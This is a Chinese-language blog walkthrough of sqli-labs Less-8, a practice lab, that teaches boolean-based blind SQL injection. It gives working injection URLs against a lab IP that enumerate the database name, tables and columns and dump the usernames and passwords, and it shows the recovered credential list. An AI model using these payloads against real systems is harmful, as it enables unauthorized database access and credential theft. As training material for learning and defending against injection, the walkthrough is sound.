sqli-labs靶场第八关布尔盲注通关

sqli-labs less 布尔盲注

在这里插入图片描述

1、布尔盲注

Bool盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。不需要返回结果,仅判断语句是否正常执行,在这种情况下我们可以使用布尔盲注

2、布尔盲注使用的函数

2.1 ascii()

根据括号内的值,返回对应的ASCII码,比如:
在这里插入图片描述
附上ASCII码表
在这里插入图片描述

2.2 substr()函数

substr(‘abcde’,1,1),此函数返回’abcde’第一个开始的第一个字符
在这里插入图片描述
也可以使用其他函数代替
如left(),right()
在这里插入图片描述

2.3 if()函数

在这里插入图片描述

2.4 length()

在这里插入图片描述

3、less-8演示

3.1 注入点以及闭合方式

http://192.168.128.3/sq/Less-8/?id=1’

回显结果与之前不一致,页面无回显,将'注释掉,回显正常,闭合方式为单引号,

http://192.168.128.3/sq/Less-8/?id=1’and 1=1–+
http://192.168.128.3/sq/Less-8/?id=1’and 1=2–+

页面回显不一致,有注入点

3.2 判断数据库长度

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((length(database())>7),1,2) --+
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((length(database())>8),1,2) --+

语句解析:

  • 1=if(判断长度大于多少,1,2) 正常返回1,与1=1对应,回显正常,否则错误,
  • length(),在括号中加入database() 去除数据库长度,并于7,8比较
    执行这两条语句发现>7正常,>8不正常,确定数据库名长度为8

3.2 爆出数据库名

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>100),1,2) --+
检测其ASCII码是否大于100,
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>110),1,2) --+
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>115),1,2) --+
http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select database()),1,1))>114),1,2) --+

发现在大于115报错,大于114正常,对照ASCII表得出数据库名第一个字母为s
一次按照此方法爆出其余的字符,最终得到数据库名security

3.3 爆出表名

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100),1,2) --+

得出表名第一个字母e,按照此方法一次爆出所有表名
最终得到结果emails,referers,usgents,users
其中,也算,他是group_concat()函数使用时产生的,

4、爆出列名

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),1,1))>104),1,2) --+

列名第一个字符大于104正确,105错误,对照ASCII表为i,,只需修改substr(‘字符串’,1,1)中第一个1,便可得到所有列名
最终结果:id,username,password

5、爆出数据

http://192.168.128.3/sq/Less-8/?id=1’ and 1=if((ascii(substr((select group_concat(username,‘~’,password) from security.users),1,1))>67),1,2) --+

只需修改substr(‘字符串’,1,1)中第一个1,便可得到所有数据,~,也算,group_concat(username,‘~’,password)所带,
最终得到:
Dumb~Dumb,Angelina~I-kill-you,Dummy~p@ssword,secure~crappy,stupid~stupidity,superman~genious,batman~mob!le,admin~admin,admin1~admin1,admin2~admin2,admin3~admin3,dhakkan~dumbo,admin4~admin4
至此大功告成

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值